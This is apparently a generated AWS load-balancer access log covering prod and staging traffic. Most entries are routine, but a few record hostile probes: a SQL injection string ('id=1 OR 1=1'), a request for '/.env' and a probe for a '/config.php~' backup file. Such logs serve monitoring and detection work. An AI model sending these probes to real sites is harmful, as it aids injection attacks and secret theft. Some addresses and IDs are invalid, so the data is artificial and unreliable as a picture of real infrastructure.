arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c591-9d79c90013f74cfcaf515ec4" "prod-web-alb.example.com" "-" 1 2024-11-01T00:59:45.556681Z "forward" "-" "-" "10.0.69.183:443" "302" "-" "-" -https 2024-11-01T00:59:46.999243Z prod-api-alb 66.100.36.51:18286 10.0.164.160:443 0.024718 0.119131 0.004301 200 200 307 13360 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c592-bb3133983ce447528d07a37e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:46.999243Z "forward" "-" "-" "10.0.164.160:443" "200" "-" "-" -http 2024-11-01T00:59:47.747267Z staging-alb 181.202.217.113:31467 174.71.39.119:80 0.048687 0.746583 0.025918 404 404 658 7165 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c593-fb141b77f42148768d24e2d4" "staging-alb.example.com" "-" 9 2024-11-01T00:59:47.747267Z "forward" "-" "-" "174.71.39.119:80" "404" "-" "-" -https 2024-11-01T00:59:49.473900Z staging-alb 72.61.98.161:18791 211.159.187.180:443 0.069644 0.368166 0.019049 404 404 796 13734 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c595-b0d3281d7f9046efb765979e" "staging-alb.example.com" "-" 4 2024-11-01T00:59:49.473900Z "forward" "-" "-" "211.159.187.180:443" "404" "-" "-" -https 2024-11-01T00:59:51.416079Z prod-api-alb 253.172.128.39:49918 10.0.161.112:443 0.007776 0.333445 0.024330 200 200 592 14751 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c597-10d18abbefd447b7ad8817a6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:51.416079Z "forward" "-" "-" "10.0.161.112:443" "200" "-" "-" -https 2024-11-01T00:59:51.735756Z staging-alb 32.143.35.40:32358 173.117.10.2:8080 0.082240 0.269794 0.139701 200 200 68 11340 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c597-f0d2c51005d444df9a5dab11" "staging-alb.example.com" "-" 0 2024-11-01T00:59:51.735756Z "forward" "-" "-" "173.117.10.2:8080" "200" "-" "-" -https 2024-11-01T00:59:53.458170Z prod-web-alb 47.20.33.203:50251 10.0.38.117:443 0.099066 0.334352 0.073684 301 301 146 10314 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c599-c7d48b54451a473eb13843c3" "prod-web-alb.example.com" "-" 8 2024-11-01T00:59:53.458170Z "forward" "-" "-" "10.0.38.117:443" "301" "-" "-" -http 2024-11-01T00:59:54.872239Z staging-alb 135.72.218.77:22755 10.122.252.103:8080 0.076353 0.354739 0.080441 302 302 240 8823 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c59a-3bb5bed5eb9044b7a4a43d4f" "staging-alb.example.com" "-" 5 2024-11-01T00:59:54.872239Z "forward" "-" "-" "10.122.252.103:8080" "302" "-" "-" -https 2024-11-01T00:59:56.007685Z prod-api-alb 75.73.92.97:13721 10.0.125.52:443 0.026859 0.381568 0.058796 200 200 329 11212 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c59c-cb8714bbf5b54f06ad50b929" "prod-api-alb.example.com" "-" 7 2024-11-01T00:59:56.007685Z "forward" "-" "-" "10.0.125.52:443" "200" "-" "-" -https 2024-11-01T00:59:56.305784Z prod-web-alb 135.51.111.187:11437 10.0.36.174:443 0.001346 0.296774 0.047548 301 301 628 236 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c59c-b065bf2da9774c7cbe5ee3c3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:56.305784Z "forward" "-" "-" "10.0.36.174:443" "301" "-" "-" -https 2024-11-01T00:59:57.329443Z prod-web-alb 200.14.87.37:42612 10.0.114.141:443 0.064162 0.241770 0.084831 404 404 630 2488 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c59d-47e33d66c0da44aabf12acb1" "prod-web-alb.example.com" "-" 7 2024-11-01T00:59:57.329443Z "forward" "-" "-" "10.0.114.141:443" "404" "-" "-" -https 2024-11-01T00:59:58.362100Z prod-web-alb 81.223.222.19:44284 10.0.90.253:443 0.055985 0.201612 0.043742 302 302 128 969 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c59e-77d181897d98438889ead387" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:58.362100Z "forward" "-" "-" "10.0.90.253:443" "302" "-" "-" -https 2024-11-01T00:59:59.466732Z prod-web-alb 185.181.147.41:48618 10.0.97.200:443 0.006303 0.369258 0.082023 200 200 217 11971 "GET /users?id=1 OR 1=1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c59f-b0b7102936ca4ddb978d7845" "-" "-" 7 2024-11-01T00:59:59.466732Z "forward" "-" "-" "10.0.97.200:443" "200" "-" "-" -https 2024-11-01T01:00:00.936774Z prod-api-alb 91.251.208.206:23668 10.0.104.161:443 0.031507 0.373678 0.079759 200 200 681 12565 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5a0-132106dbecb34582aa3e1011" "prod-api-alb.example.com" "-" 5 2024-11-01T01:00:00.936774Z "forward" "-" "-" "10.0.104.161:443" "200" "-" "-" -https 2024-11-01T01:00:02.046462Z prod-api-alb 240.17.133.228:60613 10.0.179.83:443 0.035933 0.189896 0.096977 200 200 865 14421 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5a2-005aed6101cb4eaebfd55232" "prod-api-alb.example.com" "-" 8 2024-11-01T01:00:02.046462Z "forward" "-" "-" "10.0.179.83:443" "200" "-" "-" -http 2024-11-01T01:00:03.865508Z staging-alb 86.227.88.227:62205 224.191.187.221:443 0.085802 0.444697 0.036453 404 404 927 11527 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5a3-8ae1a9d296584d9b824434dc" "staging-alb.example.com" "-" 8 2024-11-01T01:00:03.865508Z "forward" "-" "-" "224.191.187.221:443" "404" "-" "-" -https 2024-11-01T01:00:04.018164Z prod-web-alb 50.143.236.223:19258 10.0.105.63:443 0.027939 0.452112 0.057743 301 301 51 14870 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5a4-ce94cf70ca0e439b9251d9f2" "prod-web-alb.example.com" "-" 2 2024-11-01T01:00:04.018164Z "forward" "-" "-" "10.0.105.63:443" "301" "-" "-" -https 2024-11-01T01:00:05.315986Z prod-web-alb 102.67.73.102:14694 10.0.255.63:443 0.030786 0.440040 0.001086 301 301 543 5849 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5a5-2d5f4afd8de6415f9797faf7" "prod-web-alb.example.com" "-" 9 2024-11-01T01:00:05.315986Z "forward" "-" "-" "10.0.255.63:443" "301" "-" "-" -http 2024-11-01T01:00:06.955733Z staging-alb 27.180.8.97:40203 32.18.141.166:80 0.111536 0.022549 0.037999 200 200 813 386 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5a6-4d4adee4efed4d70a5013ec8" "staging-alb.example.com" "-" 8 2024-11-01T01:00:06.955733Z "forward" "-" "-" "32.18.141.166:80" "200" "-" "-" -http 2024-11-01T01:00:08.708180Z staging-alb 57.128.241.200:22467 227.87.136.150:80 0.038235 0.232773 0.040420 200 200 526 1433 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5a8-c5744e2fbe0c4af791d68792" "staging-alb.example.com" "-" 9 2024-11-01T01:00:08.708180Z "forward" "-" "-" "227.87.136.150:80" "200" "-" "-" -https 2024-11-01T01:00:10.348400Z prod-api-alb 193.27.228.75:24326 10.0.77.140:443 0.049783 0.321351 0.028235 403 403 893 9125 "POST /.env HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5aa-1801f19bd7004d1881f9c559" "-" "-" 2 2024-11-01T01:00:10.348400Z "forward" "-" "-" "10.0.77.140:443" "403" "-" "-" -https 2024-11-01T01:00:12.053232Z staging-alb 74.13.25.249:38337 35.174.197.246:443 0.036192 0.491283 0.132829 200 200 35 13915 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5ac-f5926527b4b746f585fac175" "staging-alb.example.com" "-" 4 2024-11-01T01:00:12.053232Z "forward" "-" "-" "35.174.197.246:443" "200" "-" "-" -https 2024-11-01T01:00:12.370117Z prod-web-alb 16.18.158.130:24093 10.0.4.26:443 0.037396 0.067048 0.055038 200 200 634 9798 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5ac-2edac9c6c1834d1b9da66372" "prod-web-alb.example.com" "-" 7 2024-11-01T01:00:12.370117Z "forward" "-" "-" "10.0.4.26:443" "200" "-" "-" -https 2024-11-01T01:00:13.013715Z prod-api-alb 185.181.6.37:10724 10.0.71.125:443 0.031641 0.167131 0.049178 401 401 640 2341 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5ad-dad924fd0b20436eaea9bd84" "-" "-" 5 2024-11-01T01:00:13.013715Z "forward" "-" "-" "10.0.71.125:443" "401" "-" "-" -https 2024-11-01T01:00:13.761763Z prod-web-alb 228.51.96.0:42766 10.0.145.78:443 0.033701 0.019242 0.052794 200 200 379 11387 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5ad-4dde89a3f8814d8e846855fe" "prod-web-alb.example.com" "-" 7 2024-11-01T01:00:13.761763Z "forward" "-" "-" "10.0.145.78:443" "200" "-" "-" -https 2024-11-01T01:00:14.526498Z staging-alb 68.59.62.99:46757 170.183.240.106:80 0.108293 0.178469 0.051793 404 404 258 4972 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5ae-1e3ae1ccf8f04b6cb53372f8" "staging-alb.example.com" "-" 10 2024-11-01T01:00:14.526498Z "forward" "-" "-" "170.183.240.106:80" "404" "-" "-" -https 2024-11-01T01:00:15.341429Z prod-api-alb 162.96.100.194:36316 10.0.113.197:443 0.085696 0.077337 0.073589 200 200 300 5189 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5af-81d6844035c041edba254833" "prod-api-alb.example.com" "-" 9 2024-11-01T01:00:15.341429Z "forward" "-" "-" "10.0.113.197:443" "200" "-" "-" -https 2024-11-01T01:00:16.676363Z staging-alb 172.73.232.55:27459 80.133.234.124:80 0.014167 0.037743 0.116776 200 200 256 7522 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5b0-f89e504ce74749b1897fb1d3" "-" "-" 8 2024-11-01T01:00:16.676363Z "forward" "-" "-" "80.133.234.124:80" "200" "-" "-" -https 2024-11-01T01:00:17.350184Z prod-web-alb 169.169.29.100:30434 10.0.175.220:443 0.008372 0.370847 0.015817 200 200 514 451 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5b1-19fc2b5458f94a4386fad1f6" "prod-web-alb.example.com" "-" 4 2024-11-01T01:00:17.350184Z "forward" "-" "-" "10.0.175.220:443" "200" "-" "-" -https 2024-11-01T01:00:17.742029Z prod-api-alb 207.176.57.134:14860 10.0.210.140:443 0.030779 0.210567 0.065009 301 301 6 14918 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5b1-bc718685d97e4db48ec1cdca" "prod-api-alb.example.com" "-" 7 2024-11-01T01:00:17.742029Z "forward" "-" "-" "10.0.210.140:443" "301" "-" "-" -https 2024-11-01T01:00:19.252561Z prod-web-alb 115.155.248.65:12971 10.0.34.71:443 0.006187 0.239112 0.000982 200 200 320 9243 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5b3-6578e72b40b54e169b4c50f7" "prod-web-alb.example.com" "-" 10 2024-11-01T01:00:19.252561Z "forward" "-" "-" "10.0.34.71:443" "200" "-" "-" -https 2024-11-01T01:00:21.073083Z prod-web-alb 36.79.101.73:51599 10.0.4.242:443 0.077042 0.232314 0.041336 200 200 76 8430 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5b5-4b9620639cf241e8895390b3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:00:21.073083Z "forward" "-" "-" "10.0.4.242:443" "200" "-" "-" -https 2024-11-01T01:00:22.335440Z prod-web-alb 142.22.115.69:22522 10.0.116.9:443 0.030001 0.439829 0.094919 200 200 837 7609 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5b6-1b5007dbf154422a91d51f2f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:00:22.335440Z "forward" "-" "-" "10.0.116.9:443" "200" "-" "-" -https 2024-11-01T01:00:23.732889Z staging-alb 86.156.0.28:29254 74.66.191.71:443 0.097356 0.727512 0.132710 301 301 364 6562 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5b7-1672047628e84df4993c7bad" "staging-alb.example.com" "-" 5 2024-11-01T01:00:23.732889Z "forward" "-" "-" "74.66.191.71:443" "301" "-" "-" -https 2024-11-01T01:00:24.075022Z prod-api-alb 186.131.81.204:44916 10.0.147.15:443 0.026145 0.010217 0.071918 200 200 939 14343 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5b8-dcd679cd4547485499cabe91" "prod-api-alb.example.com" "-" 4 2024-11-01T01:00:24.075022Z "forward" "-" "-" "10.0.147.15:443" "200" "-" "-" -https 2024-11-01T01:00:24.908159Z staging-alb 39.103.194.201:22691 236.228.137.49:8080 0.096291 0.263001 0.072795 301 301 916 8356 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5b8-7d9d676ddb4a480aa338eb07" "staging-alb.example.com" "-" 2 2024-11-01T01:00:24.908159Z "forward" "-" "-" "236.228.137.49:8080" "301" "-" "-" -https 2024-11-01T01:00:26.062601Z prod-api-alb 52.48.90.207:57611 10.0.27.84:443 0.067628 0.166858 0.039208 404 404 777 3982 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5ba-1c6a08098ac149e683be13e9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:00:26.062601Z "forward" "-" "-" "10.0.27.84:443" "404" "-" "-" -https 2024-11-01T01:00:27.455511Z prod-web-alb 232.70.25.13:51997 10.0.157.128:443 0.093652 0.305433 0.089359 302 302 177 5468 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5bb-5068854940d54df5a19234e4" "prod-web-alb.example.com" "-" 4 2024-11-01T01:00:27.455511Z "forward" "-" "-" "10.0.157.128:443" "302" "-" "-" -https 2024-11-01T01:00:28.970337Z staging-alb 85.41.184.27:53811 46.48.0.109:443 0.015099 0.369280 0.126151 200 200 493 12958 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5bc-b4cbe9d90d3948f0a60ac266" "staging-alb.example.com" "-" 2 2024-11-01T01:00:28.970337Z "forward" "-" "-" "46.48.0.109:443" "200" "-" "-" -https 2024-11-01T01:00:30.112408Z prod-api-alb 92.22.111.157:15430 10.0.254.251:443 0.092786 0.040062 0.020206 404 404 312 12579 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5be-01d00afeb9724b03b60d0599" "prod-api-alb.example.com" "-" 1 2024-11-01T01:00:30.112408Z "forward" "-" "-" "10.0.254.251:443" "404" "-" "-" -https 2024-11-01T01:00:32.007990Z prod-api-alb 135.142.215.68:35352 10.0.100.225:443 0.008822 0.121745 0.092794 404 404 307 7749 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5c0-6700d7f8d20043a392b300bf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:00:32.007990Z "forward" "-" "-" "10.0.100.225:443" "404" "-" "-" -https 2024-11-01T01:00:33.347787Z staging-alb 33.73.144.12:10444 76.132.216.30:80 0.104857 0.733224 0.069558 301 301 851 10875 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5c1-3d625d545dbe4d2d92de4416" "staging-alb.example.com" "-" 9 2024-11-01T01:00:33.347787Z "forward" "-" "-" "76.132.216.30:80" "301" "-" "-" -https 2024-11-01T01:00:33.936114Z prod-api-alb 188.252.1.5:23929 10.0.253.144:443 0.096312 0.146179 0.048437 200 200 329 7882 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5c1-2ba1730abd19464cac2252a4" "prod-api-alb.example.com" "-" 2 2024-11-01T01:00:33.936114Z "forward" "-" "-" "10.0.253.144:443" "200" "-" "-" -https 2024-11-01T01:00:35.328352Z prod-api-alb 238.43.173.231:58916 10.0.209.229:443 0.037833 0.458673 0.093110 404 404 719 3917 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5c3-916f184805074685b1c7f79a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:00:35.328352Z "forward" "-" "-" "10.0.209.229:443" "404" "-" "-" -https 2024-11-01T01:00:36.847716Z prod-web-alb 90.61.96.15:30408 10.0.193.62:443 0.046600 0.296513 0.096800 302 302 15 8967 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5c4-65bc8480457346839ba17bc0" "prod-web-alb.example.com" "-" 10 2024-11-01T01:00:36.847716Z "forward" "-" "-" "10.0.193.62:443" "302" "-" "-" -https 2024-11-01T01:00:37.950083Z prod-api-alb 202.201.11.137:64346 10.0.22.114:443 0.061900 0.130235 0.017353 301 301 337 6485 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5c5-54e7b04c3b62448c8194363c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:00:37.950083Z "forward" "-" "-" "10.0.22.114:443" "301" "-" "-" -https 2024-11-01T01:00:38.692722Z prod-api-alb 247.73.74.63:26755 10.0.70.128:443 0.043620 0.324602 0.033675 200 200 457 9168 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5c6-1d874ba373d7427e8a6c8ed9" "prod-api-alb.example.com" "-" 1 2024-11-01T01:00:38.692722Z "forward" "-" "-" "10.0.70.128:443" "200" "-" "-" -https 2024-11-01T01:00:39.041010Z prod-web-alb 201.10.189.247:59574 10.0.244.253:443 0.036424 0.384747 0.039190 301 301 15 11423 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5c7-df2e6c14da62478092604119" "prod-web-alb.example.com" "-" 7 2024-11-01T01:00:39.041010Z "forward" "-" "-" "10.0.244.253:443" "301" "-" "-" -http 2024-11-01T01:00:39.981227Z staging-alb 26.201.32.202:60192 130.146.168.61:443 0.027724 0.299846 0.059755 200 200 891 4909 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5c7-9e2bce087969499e9de3573a" "staging-alb.example.com" "-" 2 2024-11-01T01:00:39.981227Z "forward" "-" "-" "130.146.168.61:443" "200" "-" "-" -https 2024-11-01T01:00:40.740376Z prod-web-alb 185.46.67.0:18921 10.0.63.240:443 0.064403 0.012563 0.074662 200 200 774 4106 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5c8-b3bf7640273d42ac95d66cff" "prod-web-alb.example.com" "-" 5 2024-11-01T01:00:40.740376Z "forward" "-" "-" "10.0.63.240:443" "200" "-" "-" -https 2024-11-01T01:00:41.464381Z prod-api-alb 139.240.171.121:19984 10.0.159.163:443 0.095860 0.467285 0.048837 404 404 193 7891 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 